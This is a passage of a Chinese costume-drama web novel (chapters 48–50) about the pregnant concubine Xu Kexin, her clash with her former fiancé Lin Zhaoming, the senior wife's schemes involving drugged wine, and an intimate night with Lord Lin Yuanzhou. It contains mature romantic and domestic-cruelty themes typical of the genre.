想到这人不就后就要成婚,以为他忧虑此事,徐可心犹豫片刻,轻声道,“待你成婚后,你的正妻也会怀下你的孩子。” 话落的瞬间,徐可心明显察觉到男人的眸色一沉,攥住她的手也加重力气。 “你说过待我们成婚后,会把自己给我,还会为我生孩子,现在这算什么?”林昭明面色忽得阴鸷,盯着她一字一句质问道。 徐可心眸色微怔,无声看着他,忽觉心口格外沉闷,也不知晓再说什么。 她的确在年少时,想过两人成婚后的光景,但徐可心不明白,林昭明为何要拿两人的婚事质问她,她一直愿意嫁给他,也只想过嫁给林昭明,分明是林昭明先舍弃她。 第48章 林昭明跪在她身前,分明处于下位,但紧紧攥着徐可心的手腕,直直盯着她,仔细留意就会发现,仍是他占了上风。 他今日穿了件玄色大氅,衣摆直接垂落在地,眉骨很深,只用那双黑沉的眸子盯着她。 过了三年,这人的五官彻底长开了,变得愈发凌厉,鼻梁削挺,唇红肤白,极为艳丽的长相。 虽依稀透着幼时的容貌,但再也不是过去那个说要带她逃离囚笼的漂亮少年。 徐可心僵着身子,看着身前的男人,不自觉想起,过去林昭明装乖向她讨安慰时,也是如眼下这般,埋首在她怀里,哭着说自己的委屈。 过去他就知道靠自己这张脸撒娇卖乖,现在饶是无理取闹,也下意识同过去那般,扑在她怀里,仰着那张好看的脸,得寸进尺。 当时她心疼林昭明,早在林昭明扑进她怀里委屈地看着她时,安慰的话就已经说出口。 他可能不知道为何每每自己抬头时,会得到更多的怜惜,但林昭明知道,这样做会让她妥协。 若他再哭着说几句控诉的话,徐可心疑觉她真得会心软,可此时林昭明未向她讨安慰,而是在质问她。 况且当时林昭明很小,个子只到她的腰,令人心生怜惜,眼下这人已经长得人高马大,却仍跪在她面前,下意识同少时那般装可怜…… 她心上不自觉升起几分排斥,偏过头不看林昭明。 她不再是少女,得不到林昭明的喜欢,但林昭明也不再是少年,不管如何在她面前装委屈卖乖,都不同少时那般有用。 不知为何,她认为林昭明今日很反常,又是送东西,又是撒娇装可怜。 虽然下跪时也带着一副理直气壮的模样,但的确是在卖乖。 这人过去做了错事,就会送东西,为了让她妥协,就会装可怜……眼下这人一齐做了两件事,无所不用其极,难免不让徐可心认为他又在谋划什么。 徐可心垂着眉眼,既不看他,也未同少时那般揽着他的肩膀细细哄慰。 好似未料到她是这个反应,林昭明眸色一沉,攥住她膝盖的手指用力。 他手上力气很重,疼得徐可心微微蹙眉,偏腿躲开他的手,林昭明脸色更黑了。 之前他逼迫徐可心,让徐可心和他走,徐可心不为所动,一副非他父亲不可的痴情模样。 硬的不行,他来软的。 寻了一堆东西送到她这里,想着把人哄好,再把人带出府。 可现在他精心淘来的玉石……一样不 落地被人嫌弃,连他特意命人用狐皮制成的大氅也被丢在一旁。 分明穿长兄的那件雪袄时,满心喜欢的模样,等到了他的那件大氅,却连看也不看一眼。 不收下他的东西也就算了,现在连看他一眼也不看。 林昭明过去被她宠着惯着,哪里受过这种委屈。 他面色紧绷,倏地站起身,装也装不下去了,抬手用力攥着徐可心的下巴,强迫她转过头,“依仗了我父亲,以为他会给你撑腰是吗?徐可心,他谁都不在乎,不会在意你,也不会在意你腹中的孩子。” “若你识相,现在就和我走,看在往日的情分上,我为你安顿好一切,不然等到他舍弃你那一天,你别哭着来求我。”林昭明站在她面前,手臂撑在桌案上,用力钳着她的下颌,逐字逐句道。 徐可心想躲着他们,他们却阴魂不散,她好言相告,说自己的难处,他们却只抓着她的过往不放。 好似全府上下的所有祸事都因她而起,就算眼下无事,之后也会生事。 徐可心方才就发觉这人今日反常,眼下他露出本色,她不仅未同往日那般心生胆怯,反倒是被他这段时日的胡搅蛮缠惹得心烦。 “妾身如今在府中本就安然无恙,大人也未曾说过会舍弃我,反倒是你和你的长兄,数次陷我于不义,意图赶我离府。” “林昭明,我只想安稳度日,陪在大人身边,我又做错了什么,让你们兄弟二人这般提防?” 反正无论她说什么做什么,在这人眼里都是错的,徐可心也不想再惦念什么情分,抚着腹部,也站起身,看着林昭明一字一句道,“是,公子说的没错,妾身就是知晓有大人撑腰,恃宠生骄。” “大人纵容妾身一日,妾身就留府一日,就算大人哪日厌烦了妾身赶妾身离府,妾身沦落街头暴尸荒野,也不会求公子怜惜。” “何况眼下大人待我不薄,反倒是公子,高高在上憎恶妾身。” “公子总厌烦妾身胸无点墨,妾身想告诉公子,妾身也憎恶公子幼稚鲁莽的言语,年近十八,仍同孩童一样任性妄为。” “妾身忽然庆幸公子退婚,不然若是嫁给公子为妻,怕是要一辈子受公子轻视。” “我如今成了大人的妾室,有大人宠着纵着,每日只知风花雪月,比做公子的正妻好过千倍万倍,不必再学什么迂腐至极的大道理讨公子的欢心,徒费光阴陪你长大,再被你舍弃。” 徐可心数次被他羞辱,一直忍着受着,眼下她怀有身孕,本就每日心绪不宁,但林昭明仍跑来她这里犯浑,她气得浑身颤抖,知晓大人会为她做主,也不想再忍受林昭明。 林昭明素来话语不留情,她被控诉质问过几次,也失了分寸,忘记林昭明素来听不得她说别的男人比他好。 等一番话说完,徐可心才堪堪回神,却见林昭明面色泛白,直直盯着她,眼中喷火似的,“你说我任性妄为,不如他?” 他面色阴沉到了极点,口中的话几乎一个字一个字挤出来,同那日唤庶母时的语气别无一二。 她那日未见到林昭明压着怒气的面色,眼下亲眼看见,才发觉比她事先预料到的还要骇人。 林昭明争强好胜,听不得她说别人比他好,自己却屡次拿旁人和她相提并论,有意贬低折辱她。 她心上的那点动容再次消散,也不想再忍受他,徐可心直言道: “是,你年少幼稚,行事莽撞,性情暴戾,我后悔当初信了你随口一说的誓言,执意要嫁给你,你根本不值得我托付。” “为什么当初我碰见的不是大人,而是你,我为何当初要命人救下你?哪怕早早嫁给大人做妾,也好过被你耍得团团转,又被你舍弃。” “大人位高权重,可以让我依仗,不会取笑我,更不会折辱我,而你林昭明,任性妄为,无权无势直言轻率,哪里都不如大人。” 徐可心一口气说完,胸中郁气霎时褪去,人也浑身燥热,不知从哪里积攒出一股心气,未同往日那般躲闪林昭明的目光,直接回视他。 却见不知何时,林昭明的面上已经失了血色,苍白至极。 她眸色微怔,方要问他怎么了,林昭明先转过身,一字未说转身向屋外走去。 徐可心看了眼他的背影,方要跟上去察看他的面色,但刚迈出一步,想起这人方才无礼的言语,她又不想再去寻林昭明,走至桌前坐下。 还未等她平复心绪,重物落地声从门外突兀响起。 她眸色一怔,倏然起身,扶着腹部快步走了出去,却见方才好端端的男人此时倒在雪地中,面色惨白至极,薄唇失血,好似失了气息。 “快来人啊!快去传郎中!二少爷昏倒了!” 不远处扫雪的小厮,连忙扔下扫把,快步向院外跑去。 “昭明!” 徐可心扶着门框,也顾不得屋外大雪,快步上前,跪在雪地里扶起他,慌乱地抚着他冰冷的面庞,喊着他的名字。 可男人眉眼紧闭,没有半分清醒的征兆。 雪纷纷而下,落在她的肩头。 徐可心哪里想到她只是说出自己的心里话,就把林昭明气晕过去。 她的心上本来还有些怨念余火,眼下见他昏倒,那些余火霎时消失得一干二净,她环着男人的身子,只想让他快些醒来。 正院。 徐可心跪在屋外,隐在袖中的手微微蜷缩,稍稍缓解僵硬的手指,她坐在自己的小腿上,哪怕双腿发麻,也不敢直接坐在地上。 方才小厮前来,将人带到正院,没过多久周姑娘上门,说夫人唤她过去。 她未进门,直接被人拦在外面,被压着跪在地上。 今年的雪下得很大,地上透着寒气,渗入衣服里,冻得她双腿发麻骨头生疼。 一开始还能感受到冷,之后四肢被冻僵,也彻底失了知觉。 她不记得自己跪了多久,直到屋内的丫鬟说少爷醒来了,她才被周姑娘唤进房中。 她起身时,身子不稳,未等站起来就又跌回地上,四肢传来密密麻麻的痒意,好似蚂蚁啃噬。 过了半晌才稍稍缓和些许,她费力地扶着丫鬟的手,跟在周姑娘身后向屋内走去。 她进去后,大夫人未再罚她下跪,而是请她入座,问她方才两人之间发生何事,为何二少爷晕倒了。 徐可心接过丫鬟递来的手炉,连忙将僵硬的手指贴了上去,凑上去取暖。 听到大夫人的盘问,她也受够了林昭明,直接把方才的事情讲了出来。 “夫人,妾身自入府后,每日躲着二少爷,哪怕后来相见,也从未与之交谈,可二少爷视妾身为眼中钉,屡屡跑到妾身院中,扰得妾身不得安宁。” “妾身并未收下二少爷的东西。”徐可心垂着头,紧握怀中的手炉,“也请夫人劝告两位少爷,勿要再来听雨阁寻妾身。” 她把自己不堪讲了出来,本以为就算不会得到大夫人的同情,这人也会意识到错不在她,而是林昭明频频上门招惹她。 可大夫人端着茶杯,闻言轻摇茶盖,只淡声道,“你未存心引诱他,他有沈小姐相伴,又为何去听雨阁寻你,还为你搜集各色美玉?” 一句话落地,徐可心彻底无话了,她微微张唇,忽觉喉咙哽咽,良久又阖上唇,没有再为自己辩解什么,单坐在那里良久无言。 大夫人偏袒林昭明,不管她说什么,都难以得到夫人的体谅。 徐可心紧抿着唇,也不再奢求她的谅解了,正想着若是这人责罚她,她应如何求饶时,大夫人放下茶杯,命她离开。 “在院中禁足数日,临到除夕才可离院,不必请安,也不得让旁人探望。” 轻飘飘的一句惩罚在耳边响起,徐可心身子微怔,很快回神,忙不迭领了责罚,离了正院。 待她走后,大夫人盯着杯中茶水,良久后才自顾自道,“我倒是想让他不去见你,可谁又听我的话……” 她每日困守宅中,既不知晓大人的去向,也不知晓两个儿子成日里做了什么,同旁人一样,只能派人去打听他们的行踪。 她见几人一面难如登天,他们却时常跑到听雨阁。 林府死寂如坟,听雨阁却是独一份的 热闹。 大夫人摩挲杯盏,也觉胸口沉闷。 周姑娘上前为她倒茶。 忽然想到什么,大夫人眼也不抬问,“已经怀上了?” 周姑娘倒茶的动作一顿,微微颔首,垂眸道,“自从徐姨娘怀有身孕后,三姨娘艳羡得紧,院中的小厮每日离府,偷偷跑去李府,等到入夜,李公子上门,又在那处院落等三姨娘。” “奴婢遵夫人的吩咐,命人入夜后不得去哪里,前段时间一个府外的大夫时不时跑去三姨娘院中,几天前院中得了喜讯,那大夫也不来了。” “奴婢已经打点好那大夫,千真万确,已经怀上了。” 大夫人摩挲杯盏,垂眸思索半晌后,轻声问,“大人那里呢?” 周姑娘犹豫半晌,不紧不慢道,“传讯的官员说,少帝近些时日突然命礼部筹备选秀,简择良家子以充后宫,太后得知后,并不认可少帝的提议,内阁的几个老臣也以少帝年幼为由,纷纷劝谏。” “正值天灾,流言方平复,不宜选秀,此事不了了之。” “但奴婢听说……实则是几个老臣认为少帝荒废学业,鲜少理会政务,心性尚且贪玩,怕他得了妃嫔后,受人蛊惑,更无心朝政。” “少帝知晓后,顿觉羞愧,命大人以及几位老臣前去御书房,教他朝政之事,让他们宿在宫中,不得离开。” “大人也留在宫中,处理余下政务,这段时日一直未回府,不过官员说,陛下近日虽急功近利,但未真得扣留他们,好似是……大人自己不愿回府。” 周姑娘迟疑讲完,小心看着坐在一旁的女人,过了半晌,大夫人端起茶杯,平声道,“三姨娘如今怀有身孕,想必也想为腹中的孩子寻得父亲。” “你晚些命人进宫传信,告诉大人,只说我心神不宁,又梦见了死去的女儿,魂不守舍恐被那孽女冲撞,再命下人取来一坛女儿红。” 周姑娘闻言,隐隐猜出了她的意图,试探道,“奴婢晚些再命人将大人带去三姨娘院中……” 大夫人揉着额心,微微颔首。 想起那个刚生下来就被活活掐死埋进雪地的长小姐,周姑娘几不可察叹了口气,领命而去。 听雨阁。 徐可心回去后,顿觉劫后余生,命人把那些奇形怪状的玉石统统装进箱子里,连同那件大氅一起,送回林昭明院中。 小厮问,若是二少爷不收怎么办,徐可心命他直接放在院外,任林昭明是否取回,反正她不会收下这箱无用之物。 小厮之后回来说,院内格外吵闹,二少爷在屋中砸东西,他不敢进去,把箱子交给下人就走了。 徐可心闻言,未理会林昭明的事情,而是问小厮,大人近日是否回府,入夜后又去了哪里。 小厮说,大人几日留在宫中,并未回府,也未去别的主子院中。 徐可心本以为大人同她生了嫌隙,一直在躲着她,听完小厮的话,心上不自觉松了口气。 大人只是公务繁忙,并未去寻其他人。 她单手托腮,盯着桌案上的琴,只要一想起那夜的事情,就觉悔上心头。 她明知道那人重欲,还抗拒那人。 大人并非林昭明,这段时日也待她极好,未同之前那般在床上孟浪,格外体己她,她却格外顾虑……以致让大人离开。 徐可心越想越郁闷,枕着手臂,心里难受得紧,只想等大人回府,见他一面。 这次无论大人要什么,她都不会再拒绝他。 只是不知道大人到底何时回府…… 思及此,徐可心不自觉轻轻叹了口气。 皇宫。 眼下入了冬,雪覆在黄琉璃瓦上,还未等积成硬壳,就被宫女太监们用扫把清理下来,纷纷落下,掉进太监的后衣领中,那人霎时跳起脚,一旁的几人见状,纷纷笑了起来。 不过他们只能清扫墙上的雪,屋顶上他们就无能为力,只能留给老天爷安排几日无风的晴天,雪才会堆在一起,不受控落下,但终究压不塌宫墙。 若像朝天楼那般被压塌了,保准木头里生了蛀虫,只有把蛀虫全部揪出来,才能再次搭建新楼。 御书房内。 少帝手执毛笔,在奏折上批注,几个老臣围在他身侧,你一言我一语各抒己见,本来是为了献言,最后他们反倒吵了起来,撸起袖子,隐隐有打在一起的征兆。 少帝被吵得眉头紧蹙,小脸皱巴巴的,见他们吵得太凶,出言劝了几句,可几个老顽固谁都不愿落了下风,只安静片刻,没过多久又吵了起来。 少帝索性也不理会他们了,攥着毛笔自顾自听着,任由几个老头在一旁吵得不可开交,见谁面红耳赤突然闭了嘴,就知道谁吵输了,看向另外一人,命其讲解。 不远处,身穿绯色朝服的男人手持文书,站在窗前,好似在翻阅文书,但良久未换一本,沉默无言,同一旁吵闹的几人格格不入。 他虽不言一语,但在场几人每吵过一次,都偷瞄他几眼,见他没有开口,知晓林大人也同意这个提议,才放心向陛下讲解。 不然若出了纰漏,政令实施后有失妥当,难免不被陛下质疑他们的才能。 几个老臣守在陛下身侧用心讲解,过了片刻,一个官员小心推门走进。 对几人行礼后,见无人理会他,他环视四周,寻到窗前那人的身影,缓步上前,“林大人、林大人……” 他唤了几声,男人才终于有了反应,不紧不慢阖上文书,“何事?” “夫人托卑职告诉大人,今夜在府中设宴,悼念长小姐,请大人回府。” 林远舟半阖眉眼,过了半晌才不紧不慢道,“亡女死后数年未得夫人祭奠,想必早就投胎转世。” 这就是不回府的意思…… 随行官员只负责传信,不敢过多劝说,得了他的话方要离开,却听男人忽然问,“那人近日在府中可还安好?” 官员迟疑片刻,知晓话中那人是五姨娘,没有立刻回答。 林远舟本低垂眉眼,良久未得到回应,抬眸淡淡看了他一眼。 官员身子一僵,忙不迭道,“二少爷今日又去了听雨阁,不知发生何事,晕倒在雪中,夫人知情后,命姨娘在院中罚跪一个时辰,之后又令她在院中禁足。” 他小心禀告完,却见男人沉默半晌,放下手中文书,“既悼念亡女,身为其父,总应回府见她一面。” 不知道大人为何又突然说回去,官员闻言,未敢多问,微微行礼后回去复命。 待他走后,林远舟再次执起文书,心思却彻底不在上面了。 那夜他杀了几个官员,沾了血腥气后身体也格外兴奋,算着日子,知晓胎像已经安稳,想要把数月积压的情欲全都发泄在对方身上。 未曾想过这人还未入寝,在房中乖乖等他,模样乖巧格外体贴,本想放过她,可奈何她执意要察看他的伤口。 胡乱摸了一通,又要装作无事发生,想要安然入寝,好似知晓他此时欲气满盈,有意折磨他一般。 他来时本就想发泄欲气,平复体内暴动,被她无心撩拨一番,浑身彻底兴奋,只想把人彻彻底底占据一夜。 难言的暴戾在体内浮动,直到对上她忐忑不安的目光,才堪堪回神,怕再受她撩拨做出错事,离了府中。 想等过了六月,不宜行事时再回去见她。 可他单离府数日,这人便又受人欺凌,好似只有一刻不停地把她带在自己身边,这人才会平安无事。 林远舟抚摸腰间香囊上的白鹤纹路,垂着眉眼,忽然想寻个金笼子,学着圈养美雀的法子,把人关进去,以免她在受人觊觎,只供他一人观赏玩弄… … 第49章 临近酉时,月上梢头悬空而挂,半月微风,今夜不知为何,狂风四起,夹杂风雪,格外逼人,好似刀子般疾驰而过,划过脸颊,白雪蒙蒙,看不清前方的路。 饶是入府,也只能看清方寸之间的人,有人从远去走来,不见容颜只见轮廓,疑似鬼魅,待走近了,才知晓那人是守夜的下人。 大夫人站在门外等了良久,待看清那人的面容,面上的期待又褪了些许。 直到心上的期待快要被消磨殆尽,男人才身着朝服披着玄狐大氅从雪中走来,小厮执伞跟在他身侧。 眸色翕动,大夫人快步上前,“大人……” 林远舟走上前,并未驻足,直接向屋内走去。 大夫人脚步一顿,看向男人冷峻的背影,垂在袖中的手紧握成拳,指尖深深陷进肉里,才跟在男人身后走入屋内。 为了祭奠亡女唤他回府,桌案上所备菜肴却不避荤腥。 林远舟淡淡看了眼桌案上的各色荤菜,在丫鬟上前要为他脱下大氅时,不紧不慢抬手,示意她退下。 大夫人站在一旁,知晓他依旧不会久留,眸色微沉。 虽早就料到这人不会宿在她这里,但亲眼再次瞧见,心中还是不自觉升起几分郁气。 她缓步上前,请男人落座,为他倒了一杯酒。 大夫人站在他身侧,方要开口,却见男人端起酒杯,眼也不抬道,“昭明不日就要应赴春闱,理应闭户苦读,以待科考,既在国子监也难以专心,便禁足于院中,不得外出。” 他语气没有起伏,好似没有私情在里面,但不知为何,大夫人下意识想到白日的事情。 她面色紧绷,也顾不得早早准备好的悼念亡女的说辞,不解道,“大人,昭明自应试科考后,常专心于学业,不曾荒废,于秋闱中考中解元,他如此苦读,为何要禁足?” 大夫人话语不停,想求他收回成命,可男人只端起酒杯,不紧不慢摩挲,未再理会她一句。 大夫人紧抿着唇,哪里想过他会为了一个妾室惩罚自己儿子,大人素来不干涉后宅之事,这又算什么…… 她本想顺水推舟令三姨娘怀有身孕,让徐可心不至于太得势,但如今大人却要为了这人惩戒她的儿子…… 大夫人忽得笑了起来,未再为林昭明辩解什么,复又为自己倒了一杯水,端起酒杯托着杯底,温声地唤了一声大人。 早在十几年前,她刚诞下女婴那天,林远舟便命人酿下女儿红,又找来管家,筹备嫁妆,后来女婴断了气,嫁妆一事也没了尾,只有那数十坛女儿红仍尘封在地下,再也未不得破土。 酒汤清澈,色如琥珀。 他未曾再见过那女婴一面,那女婴也与他无缘,流着别人的血,被她母亲所生,又因不合心意,被活活掐死埋进雪地中。 林远舟端起酒杯,垂眸看着杯中酒水,良久才道,“亡女已逝,酒也成了无用之物,明日命人尽数倒掉。” 话落,他将酒杯置于唇边,饮下杯中酒。 她只初次拿那孽女做说辞,这人就要倒掉所有酒,断了她之后的话,大夫人端着酒杯,沉默半晌,见他喝下,也端起酒杯一饮而尽。 对入门没几日的妾室关怀备至,却对她冷言冷语疏离冷淡,除了掌家之权以外,不会给她任何旁的东西,哪怕是一句随意问候。 若论这府中上下谁最不讨这人喜欢,怕是非她莫属,大夫人攥着酒杯,任由甘醇酸苦的酒水漫过喉咙,哪怕极其不适,也未吐出来。 林远舟面色如常,放下酒杯后,未再多言,站起身向门外走去,头也不回道,“天色已深,夫人早些入寝。” 大夫人见状,忙不迭起身,未想过他喝完酒就要走,也顾不得体面,直接拦在他面前,“大人还未用膳。” 林远舟瞥了眼桌上的各色荤腥,淡声道,“既是悼念,不宜食用荤腥,若诚心祭奠,应食素斋而非酒肉。” “为夫还有要事在身,若无事,夫人就此留步。”林远舟语气淡漠,向门外走去。 大夫人站在原地,盯着他的背影,胸膛起伏不停,不自觉质问道,“夫君要去何处?又要前去听雨阁见那女人是吗?她腹中的孩子是你的子嗣,难道我死去的女儿不是吗?” 话一出口,她就猛然回神,意识到自己失态了,大夫人方要上前解释,却见男人根本未停下脚步,直接走进风雪交织的夜里,哪怕她声嘶力竭地控诉,这人也未有半分动容。 她僵硬地站在原地,直直望着男人远去的背影,深深的无力压在心口,让她难以喘息。 周姑娘站在一旁,犹豫上前,“夫人,奴婢前去引路?” 大夫人瘫坐在凳子上,扶着额头微微点头。这府中上下,总会有人得大人喜欢,但不会有人一直得大人喜欢。 既母凭子贵,旁人的肚子也能怀上孩子,非她一人怀有身孕,那她也算不得什么。 毕竟大人不把任何人放在心上,她徐可心也无非同春熙斋那人一样,是个新奇的玩物罢了,待大人得了新宠,便也沦落成如她们这般心上毫无波澜的死物。 年年有新人,岁岁无今朝。 只有她一人会常伴此人身侧,也只有她可以陪在此人身侧…… 屋外雪大风寒,簌簌而过,周姑娘追在男人身后,快步跑上前,撑着伞下意识柔声呼喊,“大人、大人……” 她呼喊良久,声音才穿过风雪落在男人耳中,却见男人停下脚步,站在原地无声看向她。 周菱眼底露出一丝不易察觉的喜色,快步上前,对上男人审视的目光,压下心间悸动,温声道,“大人,夫人说风雪难行,命奴婢为大人带路。” 她说完,小心觑着男人的面色,不知晓对方是否会答应,忐忑不安地等他的吩咐。 周菱知道自己容貌清冷,柳眉樱唇,难得的貌美,不比府中几位主子逊色,眼下屋外风寒交迫,她白皙的脸颊也微微发红,周菱安静站在男人面前,微微仰头,有意露出素白的面容。 可男人同过去一样,一眼未留给她,淡声命她回去。 周菱不想放弃,复又道,“大人,下人做事不用心,还是奴婢为你引路罢……” 她自认为隐藏地很好,未露出旁的神色,但男人站在面前,眸色平静,无声看着她,依旧未应下。 就在周菱以为,男人看出什么异样时,他终于开了口,命她上前带路。 周菱面色一喜,接过一旁下人手中的伞,命他退下,随后站在男人身侧,执伞引他向雪中走去。 她过去只能站在一旁,远远看着男人,无法站在他身侧,还是第一次离他这般近。 去三姨娘院中的路上,她偷偷看着男人冷峻的侧颜,忽然不想带他前去三姨娘那里。 春熙斋手段卑劣,仍能爬上大人的床,成为大人的妾室,她有何不可?大人甚至不在乎徐姨娘的过往,想必也不会在乎她家生子的出身。 周菱盯着男人的侧脸,愈发不想带他去三姨娘院中,但她如今在夫人手下做事,也的确怕夫人的手段。 满腹牢骚无处发泄,快到颂兰苑时,周菱不自觉道,“大人,后宅之内有人并非真心对你。” 话音刚落,林远舟停下脚步,垂眼看她。 男人的目光完全落在她脸上,而非看向旁人,周菱见状,心跳霎时加快,方要继续说下去,远处传来笑声。 “大人来了!小人这就告诉三姨娘!”一个小厮远远瞧见他们,忙不迭向颂兰苑跑去。 周菱面色微僵,看向小厮的目光也不自觉带着几分恼怒,在对上男人没有情绪的目光时,周菱忙不迭道,“知人知面不知心,还请大人明辨。” 她说完,自以为亲近了男人,未多加考量,攥着伞在三姨娘出来前,快步 离开,丝毫忘了她眼下正在给男人带路,她眼下此举极为不妥,好似有意带他前往颂兰苑一般。 林远舟站在雪中,望着不远处的颂兰苑,缓步走进。 方才喝的女儿红此时蕴在体内,令人温热烦躁,仅仅一杯酒,倒也不会蕴出火气,让人欲气横生,想必是酒中掺了东西。 雪夜悼亡女…… 黑棋落,白棋生,一子已去,一子复生。 颂兰苑。 早在小厮传信时,三姨娘便早早守在院内,见到男人进来,满心欢喜地迎上前。 她这几日正想着如何见大人一面,没想到这人竟然主动前来颂兰苑。 大人每每前来她院中,都只宿在厢房,不曾与她同房过。 不似死去的那位,是大人的通房,过去合大人的心意,她是被大夫人择选为妾用来分二姨娘的宠的。 刚成为姨娘那几日,她也欢喜过,以为会被大人宠幸,没想到夫人多虑了,她们二人谁都不得大人喜欢,甚至不如那个通房丫鬟。 大人每每宿在她这里,却从未命她侍奉,若非怀有身孕,那日她也不会趁大人醉酒,爬上他的床,隔日装作被宠幸的模样,好让大人接受她腹中的孩子。 三姨娘跟在男人身后,正想着如何请他用膳时,忽得闻到男人身上甘冽的酒香,她眸色一顿,站在原地没有再上前。 她守在厢房门外,过了许久,待里面的烛火昏暗些许时,推门走进,缓缓走至床边,深呼一口气,脱下外衣站在床边用力掐着自己的身子,只等浑身上下都是青紫的痕迹,才屈膝爬上床,躺在男人身侧。 过了今夜,她也会怀上大人的孩子,倒是大人也会纵容宠幸她,赐她金银美玉,甚至为她改姓…… 今夜的雪下得格外大,从京内一直吹到府内,寒风四起,压在林府上空。 鬼鲜少在冬日作怪,原因无他,死的人太多,阳间比地府还要骇人。 听雨阁。 临到亥时,徐可心正蜷缩在暖被中,沉沉入睡时,忽觉什么冰冷的东西爬上她的脚腕,好似毒蛇一般缠住她的小腿。 睡梦中,她坐在暖炉旁正取暖时,房门突然被打开,一只半人高的毒蛇爬了进来,吐着蛇信子,黑眸直直盯着她,盘踞在门前堵住她的去路。 她被吓得霎时站起身,退到窗前,慌不择路地想要翻过去,可因怀有身孕,行动不便,整个人正正好好卡在窗口。 房门被砰的一声关上,阴冷的爬行声越靠越近,最后停在她身后。 她浑身颤抖不停,攥着木窗极力想要爬出,可踮起脚尖踩着地面,怎么也无法爬出去。 冰冷的蛇皮贴上她的脚腕,顺着小腿缓慢爬行,不紧不慢缠着她的身子。 直到爬到她的背上,攀在她的耳旁,才堪堪停止,她心跳得厉害,下意识想要挣脱毒蛇的束缚,可她越挣扎,蛇身缠绕得越紧,忽然温热的呼吸打在耳边,她转过头,却见那蛇露出獠牙,毫不留情地咬在她的耳朵上。 徐可心被吓哭了。 她霎时睁眼,哭着坐起身,谁成想直接撞进男人温热滚烫的怀里,徐可心眸色一怔,眼尾还垂着泪,慌乱抬头,却见男人单膝跪在床头,赤着上半身,垂眸看着她。 “大人……” 未等她说什么,男人的手抚上她的头,将她揽在怀中,擦掉她眼尾的泪。 指腹贴着她的眼尾,不轻不重揉捏。 分辨出男人的面庞,她心上的恐惧霎时褪去,转而被委屈取代,徐可心扑进男人怀里,环着他腰背哽咽控诉,“大人这些天去了哪里,为何不来见妾身。” 林远舟环抱怀中女人,眉眼低垂,良久无言。 身前人的身体不似手那般冰冷,而是格外滚烫,还带着酒味。 忽然意识到不对,徐可心推开他坐起身,却见男人半阖眼皮,眸色朦胧透着不加掩饰的情欲,直直盯着她,同梦中的毒蛇别无一二。 “大人醉酒了?” 徐可心微微俯身,凑上前抚他的侧脸,隐隐担忧道。 “妾身命人去备醒酒汤。” 她挪着腿,方要越过男人下床,一直沉默不语的男人忽然从身后紧紧抱住她,双臂撑在她身侧,将她困在身下,让她哪里也去不得。 徐可心扶着自己的腹部,小心地看着他,害怕他伤到腹中的孩子。 好似看出她的顾虑,男人良久未动,只无声看着她。 对上男人不算清醒的目光,徐可心紧张地吞咽口水。 她不是看不出男人此时的不对劲,但也的确担忧腹中的孩子,徐可心犹豫良久,才迎着男人审视的目光,缓缓抬起手臂,勾着他的脖颈向下,贴着他耳侧轻声道,“妾身很害怕,大人一定要轻些,不要伤到妾身还有腹中的孩子……” 话出口,徐可心顿觉如释重负,松开环着男人的手臂,温顺地躺在他双臂之间,一副任人宰割的模样。 林远舟垂着眉眼,良久后抚上她的唇角,不轻不重抚摸,指腹压在唇上,力气逐渐加重。 徐可心微微偏头,下意识攥住他的手腕,不满地抱怨道,“还要再轻些。” 她小声控诉,可男人并未收力,眸色朦胧,好似仍未清醒。 徐可心看着男人泛红的眉眼,她身子一顿,轻轻唤了一声大人,仍未得到回应。 知晓他眼下不清醒,徐可心忽然鼓起几分勇气,按着男人的肩膀,未用什么力气将他推倒在床。 徐可心跪坐在他身侧,小心凑上前,抚着男人侧脸,轻声道,“妾身心悦大人,很喜欢大人,想一直陪在大人身边。” 徐可心话语不停,盯着男人的唇,缓缓低头凑近。 “大人,妾身很想吻你……” “大人不回答,妾身只当大人答应了。” 四目对视,男人仍看着她,未语一言。 仗着男人醉酒,徐可心紧抿着唇,阖上眼睛,抚着男人的肩膀吻了上去。 唇贴上的那一刻,冷冽的酒香也袭面而来,无人教过徐可心如何亲吻,她只知晓,唇贴在一起就算两人情意相投互为真心。 她一直认为大人的唇很冷,可触碰到那一刻,才发觉温热干燥。 徐可心按着他的肩膀,偷偷做坏事本就心弦绷紧,她小心睁开眼睛,却见不知何时,男人半阖眉眼,眸色清醒无声注视她。 心跳一滞,徐可心攥住他肩膀的手微微用力,僵硬地看着他,断断续续地含糊问,“大人……你……醒了吗?” 她紧张地等待男人的回答,但良久未得到回应,徐可心霎时松了口气,复又低下头,不安分地吻了上去。 说是吻,更像是贴上去,感受彼此的暖意。 她不得章法地胡乱亲了半天,和小狗似的蹭来蹭去,过了半晌,才气喘吁吁地枕着男人的肩膀,累得阖上眼睛。 等被人勾着腿弯抱进怀里时,徐可心才恍然惊醒,跨坐在男人的胸膛上,轻轻惊呼,惊魂未定地唤了一声大人。 她屈着双膝,脚腕被紧紧攥住,徐可心方要转过身去看男人的脸,却听身后男人低声道: “乖可心,坐上来。” 语气是一贯的平静,不似醉酒之人那般胡言乱语,徐可心身子一僵,慌乱转身,却见男人眼底的迷茫消失得一干二净,清醒异常,在她看过来时,无声注视她。 莫名的胆怯浮上心头,想起自己方才僭越的行为,徐可心下意识向床头爬去,想要挣脱男人的束缚,可攥住她脚腕的手先加重力气,让她动弹不得。 冷淡的问话在身下响起,“方行偷窃之事,可心还未负责就想离开?” 温热的呼吸打在腿间,好似毒蛇吐信,让她不寒而栗。 徐可心浑身颤抖不停,要哭不哭的,只想快些逃跑,好免去男人的责罚。 第50章 徐可心想要转过身,但脚腕被攥住,她根本无法乱动,只能被迫保持下跪的姿势。 她急得快要哭出来,迟迟未听从男 人的命令,等被温湿的热气裹挟时,才泄气地放弃挣扎。 骨节分明的手不断向上,握住她的手,同她十指相扣。 修长的手指嵌进她的指缝中,不断合拢,不轻不重地攥住她的整个手,好似并未用什么力气,可每每她有脱力的征兆想要松开男人的手时,对方又加重手上力气,十指合拢,强硬地握住她的手不让她退缩。 水渍迸溅声掺杂吞咽声在耳边响起,她的心也忐忑不安不上不下,分明是对方喝了酒,纠缠她不放,但醉的人好似是她。 “大人,不要伤到妾身以及妾身腹中的孩子……” 徐可心不安开口,但迟迟得不到回应 大人未承诺今夜是否会温柔待她,却做足了前戏,只让徐可心□□焚身哭着求他不要再折磨自己时,男人才漫不经心地将她抱在怀里。 这人在她面前,总是游刃有余的,未付诸全部,而她把身心全都奉上去,希求他的喜欢。 白日醒来,男人已经早早离开前去上朝。 她被夫人禁足,哪里也去不得,但祸福相依,夫人免去了她的请安,也令旁人不得见她,她终于得了几天安生日子。 